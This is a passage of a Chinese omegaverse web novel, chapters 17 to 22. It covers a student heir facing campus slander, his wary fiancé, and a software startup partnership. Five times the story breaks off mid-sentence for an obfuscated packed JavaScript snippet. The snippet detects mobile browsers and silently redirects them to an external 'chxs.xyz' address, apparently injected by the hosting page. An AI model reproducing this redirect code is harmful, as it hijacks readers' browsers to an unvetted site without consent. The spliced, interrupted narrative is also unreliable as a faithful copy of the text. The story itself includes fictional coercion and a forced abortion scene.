“嗯,不着急,你那边什么时候好了再给我电话。先挂了。” 此时已经晚上九点半。 卢绛想说自己先回学校,但看景凉虚弱的样子,那点要命的责任心让他说不出口。 “周助那边快忙完了吗?” “还没,出了点状况,你……急着回宿舍吗?” “倒也,没有。宿舍十一点门禁。” 希望能在十点前处理完。 景凉听出了他的言外之意,不动声色的拍拍身边的位置:“坐下聊聊天吧?车子修好了,我让周助第一时间送你回学校。” “嗯。”卢绛沉闷的坐了过去。 景凉打量着他冷峻的面容,沉默不说话的时候挺酷的,无形中有一种上位者的压迫感,这就是高等alpha,与身俱来的强者气场。 “看不出来,你打架这么凶,就真的不怕失手把人弄死?”景凉一想到他掐着那alpha的狠劲,还是有些胆寒。 “当时没想那么多,只知道你被人欺负了。” 景凉失笑,心情却很复杂。 他对谁都这样好吗?一想到他也会这样对别人好,心口就酸胀不已。 17. 第17章 景凉将飘远的思绪收回,看了眼时间,说道:“我问问周助那边好了没有。” “好。” 景凉拿过手机,给周洲发送短信。 【景凉:过来吧,他要回去了。】 【周洲:你确定现在修好吗?不再多待半小时?斜嘴一笑.jpg】 【景凉:过来,我确定。】 【周洲:OK,马上。】 没等多久,周洲赶了过来,查看了下景凉的情况,发现卢绛重新给了景凉一个标记,彻底抹去了那个alpha在他身上留下的气味。 这味道呛得…… 不知道的还以为他们已经do过了。 周洲侧过身去,疯狂喷阻隔喷雾。 回去的车上,两人似乎都很累,靠着后座闭目小憩。 周洲透过后视镜看着后座这两,只有他相信他们老板还是清白的,这两俨然一副do到话都讲不出来的疲惫。 卢绛踩点回到宿舍,今晚室友睡得都挺早的,他放轻了动作,没再看书复习,匆匆洗漱好上床睡觉。 此时景凉与周洲才刚回酒店,周洲帮他收拾了一下行李箱,明早上的飞机,免得落下东西。 “快十二点了,你赶紧睡吧,我帮你把行李收拾完也回房睡了。” 景凉拿着手机处理了几封工作邮件,又打开了与卢绛的聊天对话框,想了想还是什么都没发就关闭了。 周洲看他有些失魂落魄的模样,一猜就准,“在想你那位小未婚夫?” 景凉失笑,“确实有点叫人牵肠挂肚。” 周洲轻叹了口气:“你不觉得他很会洞悉人的弱点,然后狠狠拿捏?往往最高明的猎人,都以是猎物的形式出现。” “他图什么?” “青春期叛逆小男孩的心思谁猜得准?” “叛逆?”景凉不置可否,“他可乖了。” “伪装也是一种叛逆。” 景凉:“以他现在的表现,确实很优秀,目前除了卢绛,我还有更好的选择吗?” 周洲:“如果还有更好的选择,你还会选卢绛吗?” 景凉沉默了。 他没想过这个问题,因为卢绛就是他认定的目前最优选择。 周洲:“退一万步说,卢绛真的跟你结婚,婚后他原形毕露,是个人渣你要怎么办?而且他之前的传闻在帝都人尽皆知,一个人不可能转变这么快的小景总!” 景凉默了许久,终是倔犟道:“我就赌这一次。” 周洲:“赌他婚后对你好,赌他不是个人渣?你清醒的吗?输了你会万劫不复!” 景凉嘲讽一笑:“当今这个社会,有几个omega婚后是幸福的?得之我幸,失之我命,我只知道选择跟他结婚,利大于弊。” “正常的omega二十岁就已经结婚了,我已经二十六了,现在我连强效抑制剂都用不了,下次发情期怎么办?要随便找个alpha解决吗?” 周洲抿了抿唇,说出了自己很隐私的秘密,“我被永久标记之后,就没有过性生活,我的alpha丈夫拿着我的钱,包养了好几个小情人,你怎么会认为alpha结了婚,会乖乖的给你信息素,在发情期安抚陪伴你?” 夜,忽然陷入死一般的沉寂。 * 次日一早,卢绛收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735964|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了景凉发来的信息。 【景凉:我上飞机了,我们寒假帝都见。】 【卢绛:嗯,寒假帝都见。】 卢绛在学校食堂拿了早餐找了个位置坐下,搜霍临的手机号添加了一下他的社交帐号。 惊喜的是那端很快通过了好友添加。 【卢绛:霍学长,我是卢绛,还记得我吗?】 【霍临:我没失忆。】 【卢绛:不知道学长什么时候有时间能出来详谈一下合作呢?】 【霍临:你打算投多少钱?】 【卢绛:前期……应该不会太多吧?】 【霍临:谢邀,我还要打工养家糊口,你要练手增加工作经验,怎么不拿自家现成的公司练手?】 【卢绛:我觉得,人还是要独立比较好。】 【霍临:?】 【卢绛:学长这个问号是什么意思?】 【霍临:我觉得学弟你,多少有点子幽默在的。】 【卢绛:先约下见个面,看看商业计划书再说?】 【霍临:现在创业真的很难的。】 【卢绛:我知道,但还是想试试。】 【霍临:明天吧,明晚等我下班,不聊了,忙。】 【卢绛:好的。】 卢绛匆匆吃了饭,回寝室拿书包准备去上课。 一进教室,同学们对他投来的视线一言难尽,奇奇怪怪。 卢绛没有多想,直到下课时,有个女beta被怂恿走到了他面前,打开大学论坛里的一个贴子给他看。 “卢同学,有人说你被有钱有家室的omega包养,是真的吗?” 18. 第18章 卢绛微眯着眼认真看了下贴子内容,一楼po了他晚上从豪车下来回学校的照片。 二楼是他新衣服的价目和科普,说他一个穷学生,不可能买得起这样的名牌。 结合他在宋教授课上不顾一切的请假去见那个omega,一定是因巨大的利益诱惑,所以才不惜请假的。 校友在论坛跟贴,从对他无下限的追捧,到现在的口诛笔伐,不过一周时间。 【还以为是甜甜的恋爱,没想到请假是为了卖身赚钱。】 【差点被他的人设给骗了,学霸、书呆子、待人真诚,虽然是alpha但很谦虚低调,我的天哪,还有什么是真的?】 【早就说alpha不可信咯,你们自己非得脑补。】 【哈哈哈哈,我就说你们这群omega好不好笑啊?之前还拿姓卢的这种低级A来diss我们,打脸不要来得太快!】 【我现在真的觉得他好恶心,隔夜饭都要吐了!】 【内部消息,人家本身就是超级富三代,信不信由你们,其它的我不敢多说,反正已经证实了,现在很多人都知道,只是没人敢往外乱说。】 【楼上SB叉出去,跪你卢爹领肉骨头吧!都这个时候了还舔呢?】 【笑死,还超级富三代,信他是富三代还是信我是富一代卢宇辉?】 …… 卢绛随手翻了翻评论,内心无动于衷。 世人总是这样,一厢情愿的造神,又将自己造的神亲手推下神坛。 女beta:“卢绛,你不说话……是默认了吗?” 卢绛从书包里拿出书,风轻云淡说了句:“我说不是真的,你们会信吗?你们只愿意相信自己想要相信的,其实是不是真的,根本不重要。” 他们要的只是一场网络狂欢,他的解释毫无意义,纯属浪费口水。 这个世界和他之前所在的那个世界,其实也没什么两样,一样的人性,一样的可笑,也一样的孤独。 上完下午最后一节课,卢绛接到一封学校的邮件,让他配合接受专班调查。 于是下午他去了一趟教导处,教导主任是个四十来岁的男beta,看到卢绛过来,一脸严肃直奔主题。 “你知道是什么事叫你来过来了吧?” “嗯,知道。” “你这个事呢,性质还是挺严重的,带坏学校风气,道德底线的沦丧,不能因为你的学习优异轻拿轻放,不然不好向上边领导、整个社会及学生们交待。” “我愿意接受校导领所有正规的调查程序,但是我先说明一点。” “你说。” “证实我是被造谣冤枉后,把造谣的人找出来,给予劝退处理,另外我一定会报警走法律程序,来维护我的正当权益。” 教导主任意外地打量着他,看着好说话挺老实,居然是个硬茬,这种事本来可大可小,没有哪个学校会愿意把事情闹大。 主任抽了口气,“嘶,卢绛啊……这个呢,也没你想的那么严重,事情最好是不要闹大,你也看到现在网上的舆论,别的社交软件上都在传!你态度好一点,发个道歉信改过自新,这便是学校最终的目的,你懂吗?” 卢绛的表情比这主任还严肃,一字一句道:“不行。” “你……” 他受够了被冤枉的滋味,造谣诽谤的人凭什么没有任何代价?! 此时调查专班的人已经过来了,问了很多卢绛一些很隐私的问题,卢绛没有任何隐瞒,一一回答了。 “开车送你回来的,是你什么人?” “我的omega未婚夫。” 调查专班几人面面相觑,明显是不相信的。 “他送你那么贵的衣服呢?” “我也送了他十二万多的手链。” “……” “你怎么证实他是你的omega未婚夫?” “应该有订婚宴的录像,但我这里没有,所以我得找家里人问问。” “什么时候方便要录像?” “现在就可以打电话。” 调查专班人员看他这么硬气,甚至已经拿出手机拨号,这才稍微扭转看法。 卢绛的电话是给原身父亲打过去的,帝都首富卢佑铭这个人想必都不陌生。 电话很及时的接通了,原身从不轻易给家人打电话,在卢父看来,他儿子能主动打电话,一定是在外闯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735965|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了大祸自己无法收场,才打给他老子。 卢绛打开了扬声器,将手机放到了桌上,让所有人都能听得清楚。 “突然给我打电话,是又闯什么祸了?” 卢绛调整了下心情,努力克服线上当众认亲叫爸爸的别扭。 “爸,我没闯祸,是有人造谣我被omega包养。” 听到这句话,卢佑铭只觉荒唐嗤笑了声:“照你一个月挥霍几百上千万的,是哪个omega有这个实力敢包你?要真有这个omega我现在就把你打包过去,让你改跟他姓。” 在场的人无不瞠目结舌,是他们所理解的几百上千万吗? 卢绛一阵尴尬,小声道:“我现在已经不这样了,很少花钱,还做了一些投资。” 卢佑铭:“哦~你最好是。” 卢绛窘迫得想找个地缝钻进去,要不是得接受调查,谁要打这种尴尬自爆的电话! “所以你打电话给我,到底是要做什么?” “我需要订婚那天的录像存档。” “你要这个做什么?” “校方需要我自证,被传包养我的omega和我是正当的未婚夫关系。” 一阵沉默。 “爸?你还在吗?” “姓景的去找你了?” “嗯。” “他找你干什么?” “他不能来找我吗?”卢绛巧妙地打了一记回旋镖。 “哼(冷笑)!被人搞烂的骚狐狸还想来勾引我儿子,你没被他色相诱惑跟他搞在一起吧?比起他,你小子还是太嫩了,你最好……” “爸!爸!!有人,一屋子的人,我开了扬声器,你能不能……说话注意点?” “……” 一阵尴尬的沉默。 “你不早说?” “我在接受校方调查,我已经提醒你了。”毁灭吧,累了! “咳~行了,录像我让乔秘书给你发过来,就这样吧。” 语落,卢父匆匆挂断了电话。 卢绛耳尖都红了,双肘撑膝十指交扣,想把头埋起来,不想再面对这个世界。 能不能把这一屋子的人都鲨了灭口?! 19. 第19章 可能是气氛过于尴尬,卢绛没说话,校方也没有人出声。 直到乔秘书给他发了订婚宴的录像过来,卢绛心情稍微平复了些,继续配合校方走程序。 当晚校方就替卢绛发了澄清声名并报了警。 发贴子的那个ID很快被查了出来,而且还注册了好几个小号自导自演,对卢绛的声誉进行抹黑。 而那个主谋,就是他的室友周某。 被学校劝退后,他还需要面临拘留罚款和民事诉讼。 他收了行李特意等卢绛从图书馆回来,卢绛一进宿舍,他就‘噗通’一声跪了下来。 一边向卢绛磕头一边求饶:“卢同学都是我的错,都是我不好,你大人有大量放过我吧!” 激烈的哭嚎声引来了其他寝室的同学围观。 卢绛再一次被推到了舆论的风口浪尖。 周某:“我真的不知道开豪车送你回来的是你的未婚夫,没弄清事实瞎说是我不对,我向你道歉,求你原谅我!” 卢绛:“我接受你的道歉,不过,我选择不原谅。” 周某情绪激烈的上前抱往他的腿不撒手,“我爸在我很小的时候就过世了,我妈妈身体一直不好,如果知道我被退学了,她肯定活不下去!我考上F大真的很不容易,举全家之力才来到这里上学!你难道真的要毁了我?” “我都已经跪下求你了,你还要怎样?卢绛,做人哪能这么绝情?把事情做绝了,就不怕会被反噬遭报应吗?!” 此时围观的人都开始不忍心,替周某说话。 “哎是啊,其实也没到这种地步,都劝退了,何必还要再起诉呢?” “其实这就是个误会,谁没八卦心理啊?说开就好了,同学一场!” “俗话说得饶人处且饶人,我也觉得卢绛做绝了。” “谁没有犯错的时候?至于赶尽杀绝吗?” “看不出来,他手段这么狠!” “惹不起惹不起,看到没有,以后见到他躲远点。” …… 周某的目的已经达到了,此时他趁着舆论压力,继续求饶:“卢同学,你就饶了我这一次吧,对不起对不起对不起,我真的不能去做牢,你都这么有钱了,从指缝里漏一点,都够我一年的生活费,你们这样的权贵何必跟我这种平民计较?” 六,还懂得利用阶级矛盾拉友军站线。 卢绛见过太多他这样的人,以前还会心软,上过无数次当,吃了数不清的亏,现在他已经无动于衷。 “你的困境是我造成的吗?” “什么?” “又不是我让你活得这么累,你说的这些跟我有什么关系?” “你难道一点同情心都没有?” “没有,因为同情Sb会变得不幸。” 卢绛无情的掰开他的手,提醒了句:“注意签收法院传票。” 刚才还嘈杂的讨论声戛然而止,鸦雀无声。 卢绛换了景凉送他的那件外套,硬着头皮在所有人的注视下再次离开了寝室。 他约了霍临。 霍临下了班直接在公司附近找了一间酒吧,这间酒吧气氛还挺好的,驻台的主唱很有实力。 他要了一支啤酒,饶有兴趣的在校友群里看现场直播。 该说不说卢绛这小子反差真大,看着一副天真率直好说话,骨子里的绝情让人背后一凉,没有慈悲心,行事手段果敢狠辣,不留退路。 呵,有意思! 本来没什么兴趣的,但是现在他好像有点兴趣想要合作看看了。 * 卢绛打车赶到了霍临所在的地址,是一间新开不久的酒吧。 八点半正是客人最多的时间。 他从未进过酒吧,来到这个世界忙着适应生活、学习,没有别的心思。 卢绛太过惹眼,加上身高优势,他一走进酒吧便成了焦点。 他紧绷着神经,面上没什么表情,紧张的将蜷起的双手兜在外衣口袋,在所有人看来这哥酷得一匹,不好搭讪。 坐在吧台前的霍临高举起手臂朝他挥挥,卢绛穿过人墙,走到了他面前。 两个极品alpha搁那儿一坐,不少人已经开始蠢蠢欲动。 “喝酒吗?” 卢绛犹豫了下,还是说道:“不喝吧,谈正事不喝酒。”其实是不会喝酒。 “喝吧,”霍临朝吧台服务生招手,“给这个弟弟来杯sexonthebeach。” 这个霍临!真是霸道得很! 卢绛无语。 霍临笑笑:“放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735966|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心吧,好喝的,酸酸甜甜跟饮料一样。” 卢绛从书包将商业策划案打印件拿了出来,递给了霍临:“学长现在看看?” 霍临敷衍翻开瞥了眼,装佯佩服式的哄小朋友:“不错不错,先投个一百来万就行了。” 但看着看着霍临就发现了这东西的核心价值。 他又快速往后翻了几页,一脸严肃:“这策划案你找谁写的?” 如果可以,他想认识一下。 “是我自己写的。” 霍临有些不信,“你写的?策划案运营的几个要点概念很新颖,除开普知的精准定位目标市场,现金奖励式产品裂变宣传,全民主播就很有意思。” “学长也让人很意外,一个计算机专业的会对未来投资市场这么敏锐。” 霍临笑得意味深长,“那是自然,怎么也大你两岁,多吃了两年饭。” 卢绛内心有些激动,却表面不显:“那学长是愿意接这个活了?” 霍临将酒瓶里的酒一口气饮尽,长舒了口气,笑道:“接啊,但我要技术入股。” 卢绛怔愣住。 霍临十分自信道:“我的技术你放一百个心,他们做不了的我都可以做,而且又快又好,后期服务器更新维护,新功能开发全包,你在F大找不到第二个。” 卢绛:“你想占几成?” “怎么也得是五五开吧?” “不行。” “哦?” “这个项目前期一两年内只能看到烧掉的钱,盈利几乎不用想,我一个人承担了百分之八十以上的风险,学长的技术再怎么过硬,与我五五开是不是胃口有点大?” “不拉投资吗?” “暂时没这个考虑。” “卢少豪横!” 霍临要了第二瓶啤酒,笑问:“那卢少你说,我要多少合适?” “百分之三十五,这是技术入股最高比例。” “四十,不行的话算了。” 卢绛认真考虑了下,朝他递出了手:“霍学长,合作愉快。” 霍临好哥们的与他击了下手掌,爽快道:“来~喝酒,今晚卢少买单吧,以后赚钱我再请回来。” 卢绛僵成一条直线的唇角抽了下,是个会画大饼又死抠的合伙人。 20. 第20章 酒过三巡,霍临带了几分朦胧的醉意,半认真半开玩笑道:“你这么有钱,要不要买一家科技公司玩玩?” 卢绛:“嗯?” 霍临用力拍了拍他的肩膀:“弟弟,我们相遇一定是上天的缘分,不瞒你说,我有个游戏项目待开发,未来十年必定风靡全球!你有钱,我有经验和技术,有钱大家一起挣。” “你怎么那么肯定,你的项目一定会成功?” “错过一次是我没有把握好,那得有多蠢才会错失第二次机会?嗯?你说是不是?” “那你说,买哪家科技公司?” “万星的量子计算,人工智能技术都相对成熟了,如果你想做手中的这个项目,收购万星是第一步,他们都有现成的,你应该知道上市拖得越久,沉默成本就越多。” “经营好好的公司怎么会卖?” “哈哈……签了合约咱们再细说,干杯!” 霍临这人,好狡诈一男的。 只诱他入局,余下的一概不说,渣男! 卢绛不着痕迹的看了眼手腕上的电子腕表,拿出卡给了服务生去买单。 “学长,九点半了,我先回学校,合约的话我会尽快找人拟好,单已经买了。” “就走?不再聊聊吗?” “工作上的事情,好像已经聊完了。” “工作聊完了聊私事呗!” 卢绛打心里抗拒,他最不喜欢跟人聊自己的私事。 “不了,我回去还得看书。” “那个景凉……” 卢绛猛地顿住步子,回头看他。 霍临笑得意味深长:“哟~你这么在乎他?” 卢绛心脏一紧:“不是,没有,你怎么突然提他?你认识?” “你跟姓景的婚事不会是真的吧?是真的会结婚的那种?” 卢绛陷入沉默。 霍临暗叹了口气,“他是典型的天蝎座,重欲重利走肾不走心的,言尽于此了。” 卢绛总觉得他话里有话,并不是空穴来风提这一嘴。 “谢谢提醒,我不信星座。” 霍临目送他的背影离开不由苦笑了声:“怎么就绕不开呢?上辈子我已经受够了,这辈子求别再有任何交集!” * 卢绛找了乔秘书问了下集团的律师团队,乔秘书见是正事,没敢怠慢,将公司业务能力最好的金牌律师推荐给了他。 卢绛受宠若惊,其实只是拟一份大差不差只要有法律效应的合约,一般律师都能做。 合约拟好并寄过来的时间已经是一个星期后。 卢绛上完最后一节课给霍临发了一条信息。 【卢绛:我要找你签合约。】 霍临直接给他发了一个定位。 卢绛点开定位地图一看,居然在医院。 【卢绛:你生病了?】 【霍临:别问,过来,如果可以的话,能不能带上你的银行卡?】 【卢绛:……】 【卢绛:知道了,现在过来。】 好不容易走到签合约这一步,别是生了什么大病吧? 卢绛打车赶到医院,结果是在妇产科的走廊见到了霍临。 卢绛上前将带来的合同从书包拿出来,递给了他,并以合伙人的身份对他进行了人文关怀。 “是你亲戚要生孩子吗?” 霍临叠腿坐在长椅上,仔细翻阅合同,回道:“不是亲戚,是我前金主。不是生孩子,是要打孩子。” 简短的两句话,把卢绛雷得外焦里嫩。 “啊?你在……说什么?” 霍临不在意笑笑,“怎么?我被人包养的事情你没听过吗?是真的,我大一就跟了这个人,没有苦衷,就是为了钱,不过他破产了,我就离开了他。” 说完继续看合同。 卢绛感觉有点缺氧,用力吸了几口气,表情不由严肃了几分:“那他怀孕,是你的孩子吗?” 霍临长叹了声:“他说是我的孩子。” 卢绛:“你不觉得,你这样人品有问题?” 霍临有些好笑:“所以,学弟要义正言辞的对我进行批判吗?” 卢绛一瞬不瞬盯着他,眼神如炬,恨不得在他身上瞪出两个窟窿。 霍临一阵烦闷,余下的一些不要紧的注意事项粗略看完,龙飞舞凤的签下了字。 合约一式两份,他将另一份给了卢绛。 卢绛没好气接过合约,警告他,“我不喜欢跟人品差的人合作,所以在合作期间,我希望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735967|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你能收敛,好好做人。” 霍临站起身,与他对峙,“我也不喜欢被人说教,所以我劝学弟不要过多干涉别人的私事,大家都公私分明。” 卢绛:“你最好能做到!” 霍临又是那一副玩世不恭,“你可以怀疑我的人品,但不要怀疑我的工作能力。” 此时病房里的医生走了出来。 “那个家属过来一下。” 霍临叮嘱了句:“你别那么快走,等下我得带你去缴费。” 卢绛仿佛吞了一万只苍蝇,差点破口大骂,但最终只是很含蓄斥责了句:“打胎的钱没有,你总有买套的钱吧?早知道你是找我借钱打胎,我根本不会来!” 霍临可能是觉得自己理亏,只是笑笑也没气恼,大步朝医生走了过去。 卢绛抱臂倚着墙听了一耳。 医生:“你的omega伴侣情况有些特殊,他怎么长期打alpha激素针?” 霍临:“这些不重要,医生你说重点吧!” 医生有点生气,但又不好发作,只得直接说重点:“孩子已经快五个月了,他的身体长期注射alpha激素,不好再怀孕,如果这次打掉这个孩子,可能以后都不能再怀孕了。你要不要再考虑一下?哪怕你不想要这个孩子,也应该替你的伴侣想想。” Omega不能自己打胎,但是只要确定alpha是生物学上的父亲,就能决定孩子要不要。 霍临没有一丝犹豫,十分坚定道:“不要,不能生又不是什么大事,手术同意书呢?现在就签吧,你们尽快安排手术。” 医生长叹了口气:“那行吧,你在这上面签字就行了,明早就能安排手术。你最好进去安抚一下你的omega伴侣,他现在情绪很不稳定。” 霍临前刚签完合约,后又若无其事的签了手术同意书,不带一丝犹豫。 卢绛的拳头都紧了,靠!真的好渣好渣! 他签完同意书,推开病房的门走了进去,门没有合上,估计是想着跟里面的人说一声,就带卢绛去缴费。 躺上病床上的男人十分俊美,肤色略显苍白,因长期注射alpha激素,只是看起来有些消瘦,并不显柔弱。 “你签了?” “签了。” 21. 第21章 男人情绪激烈的扯掉了手上的置留针,吼问了句:“为什么?你为什么要这么对我?!” 霍临无情笑笑:“崔少霈你是不是疯了?人前装alpha,人后偷偷生孩子惊艳所有人?” 崔少霈狠狠给了他一个耳光,“你tm给我闭上你的臭嘴!” 霍临尝到了嘴里的血腥味,竟然情绪很稳定没有还回去。 “生孩子有什么好啊?生下来一堆麻烦,你还有一个多亿的债,自己都要活不下去了,一个大拖油瓶带着小拖油瓶,我养不起。” “呵……哈哈哈哈……你养我?你要不要脸?你从我这里拿走的东西够你一辈子吃喝不愁了吧?” “早挥霍完了,连那套房子都抵了出去,崔总,你跟我现在都一无所有,所以别使小性子,否则我也懒得再管你。” 崔少霈又给了他一巴掌,还知道要换一个面,五指印对称。 “滚啊!狗杂种!我这辈子都不想看到你,恶心!!” 这次霍临没有忍了,凶狠的扣过他的脖子将他摁回床上,因信息素的压制崔少霈浑身无法动弹,眼里却迸发出无尽的恨意。 “崔少霈,你现在少在我面前发疯!认清楚自己的处境,除了我,还有谁会收留你?不想以后活得太惨,给我听话点,听清楚了吗?” 不甘与屈辱的泪水如断线的珠子从崔少霈眼角划落,他只是拼命的咬着牙关,不肯发出一丝软弱的呜咽声。 霍临脸色难看的放开了他,转身大步流星的走出了病房,用力摔上了门。 他一抬头差点与等在门外的卢绛撞个正着。 卢绛看到他发红的双眼,那种隐忍与委屈,不是装出来的。 “你……” “我去洗个脸。” 霍临没敢直视他,狼狈跑去了洗手间,他掬着冰冷的水用力揉着双眼,这个过程持续了很久。 卢绛看到他出来时眼睛更红了,但没有了刚才的颓丧,又恢复往常那种不羁与从容。 他带卢绛去缴了费,口袋里的手机一直响个不停,似乎主人不接不肯罢休。 “不接电话吗?” 霍临烦闷的拿起手机,来电备注‘狗吠’,是他们工程技术部的主任。 他走到医院外的后花园,这才接起了电话。 狗吠主任开始狗吠。 “霍临,你tm是不是不想干了?仗着自己那点破技术还真把自己当个人物了?公司是你想来就来想走就走的?我命令你现在即刻回公司!” “我请假了的,今天要干的活我已经交给手下的小弟做了,没什么大问题。” “谁批你假了?我不同意!扣你工资!我看你还有多少工资扣!人穷就好好工作,别一天天以为自己是个条件不错的alpha就朝三暮四,当有钱的omega都是傻子吗?会要你这种废物?!” “我cao你xx*@#&**(骂太脏和谐)……你tm再狗吠一声试试?以后看见我躲远点,见你一次我打你一次!我忍你很久了,老子不干了,你爱找谁找谁!” 卢绛见他打完电话,将买来的咖啡递给了他。 “才这一会儿,你就失业了?” 霍临深吸了口气,稳了下情绪,“不失业怎么更好的就业?” “那你这几个月怎么活?” “白天工地搬砖,晚上回家写程序,一天能赚好几百呢,饿不死。” “也行。” “要不,你先再借我一点钱?” “哥,你当我是什么新型移动提款机吗?” 霍临尴尬笑笑,别开脸去装佯喝咖啡。 卢绛犹豫了会儿,从钱包里拿出一张卡递给了他。 “这张副卡里面有一百万额度,先预支给你一年的工资。” 霍临惊诧的看着他:“你对谁都这么大方?” “看人,我又不是傻子见谁都给钱,你是我的合伙人,该有的体面还是要有的,再说钱不白给,看你能力。” 主要是原主最不缺的就是钱,如果钱能收买人心,卢绛便觉得值。 霍临一秒都没迟疑把卡收了,生怕晚一秒卢绛会后悔。 “放心,以后一定还你。”这句话倒是说得很诚恳。 因这一次交集,霍临看在钱和真诚的面子上,对卢绛开始交心。 一个app按照功能需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735968|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求、数据库集成等要求,需要三个月到一年不等的时间。 但霍临的速度很快,不到一个月提交了一个雏形,基本功能都没问题。 卢绛体验后会给出各种建议再进行修改。 霍临写完新的代码后,给卢绛打了一个电话。 “你需要找一个美术设计团队,或者找公司外包也行。” “我不打算外包。” “那你什么打算?” “你之前提议收购万星的计划,可以详细说说吗?” “可以,晚上请你喝酒,记你帐上。” “……” * 别墅健身房内。 景凉只穿了一件白背心,戴着拳套与专业的拳击私教打得有来有回。 周洲一身周正的浅灰色西装,大步流星的推门走了进来。 “小景总。” 景凉做了一个暂时的手势,脱下了拳击手套,拿过一旁带着余温的湿毛巾擦了擦身上的汗水,接过了周洲递来的年度财报。 景凉随手翻了翻,心里有个大概,便将文件夹放到了一旁小案上,问道:“最近南方那边有什么消息?” 周洲立时会意:“荆家的工厂已经停工半个多月了,市里去了人对他们工厂做了质检和环境检测,很多处都不达标,三个月内想再开工很难。” 景凉冷笑:“年后再给他们市领导好好打个招呼,他们那种小工厂不上不下的,想质检环保都达标根本不可能。也不知道他们当时怎么想的,乖乖合作不就好了吗?搞些没用的,还想占我便宜?我看起来很好拿捏?” “潜进去的工人说,他们起码有好几千万的原材料还堆积在仓库里。” “我们想到的,其他人也一定想到了,这种便宜谁不想捡?是时候让张盛出场了。” “这方法保险吗?” “舍不得孩子套不住狼,先让张盛给他投点钱,让荆家的厂‘做大做强’,这个诱惑很大,他们一定会干的!但最终反正过不了检,到时候欠了一屁股债还不清,张盛再把价压一压,对景氏来说不亏的。” 周洲失笑:“行,我等会儿就给张盛打个招呼。” 22. 第22章 景凉正要说什么,隔着玻璃墙,他看到外边不知何时白絮纷纷。 “下雪了?” “是啊,我来时就在下,现在下大了。” 景凉的神情有些落寞,拿出手机打开与卢绛的信息对话框,信息没有更新,还停留在一个月前。 “周洲我问你,什么人可以一个月不联系也无所谓?” “无关紧要的人啊。” 周洲接过阿姨送来的红茶,轻啜了口这才意识到什么,赶忙补救道:“或许太忙了也不一定。” 景凉的心情肉眼可见的阴沉加不爽。 他开始编辑信息发送给卢绛。 周洲坐在一旁沙发椅上,不安中透着几分担忧。 【景凉:最近很忙吗?什么时候放寒假?】 五分钟后,没回。 【景凉:回来的那天告诉我一声,我来机场接你。】 【景凉:今天下雪了,南城会下雪吗?】 十分钟后没回。 【景凉:回我信息。】 半个小时后没回。 景凉脸色煞白,隐忍着怒火,又有种说不出的酸涩与委屈,他用力点开卢绛的头像。 【系统:是否确定删除好友?】 犹豫了几秒,难以下决定,景妈的来电缓解了陷入死局中的景凉。 “宝贝,晚上回老宅这边吗?妈妈给你炖了最喜欢的羊肉萝卜汤,这天气就得吃点羊肉补补。” “好,我等下就回。” 挂断电话,景凉退出了聊天界面,神情缓和了许多,周洲也暗中舒了口气。 “去我家吃羊肉萝卜汤吗?” “我今天也要回爸妈家,也炖了汤。” “好吧,晚上回去开车注意安全。” “嗯,你也是。” 晚上八点半,景凉回了老宅。 景妈盛了一大碗汤给他,还伴了几样他爱吃的凉菜,坐在一旁慈爱打量着自家儿子,越看越喜欢。 “宝贝,你怎么好像瘦了?是不是又没好好吃饭?” “我好好吃了,一日三餐,一餐不落。” “我听到一个消息。” “嗯?” “你是不是上个月去了南城?” “消息是真的,我去南城找他了。” 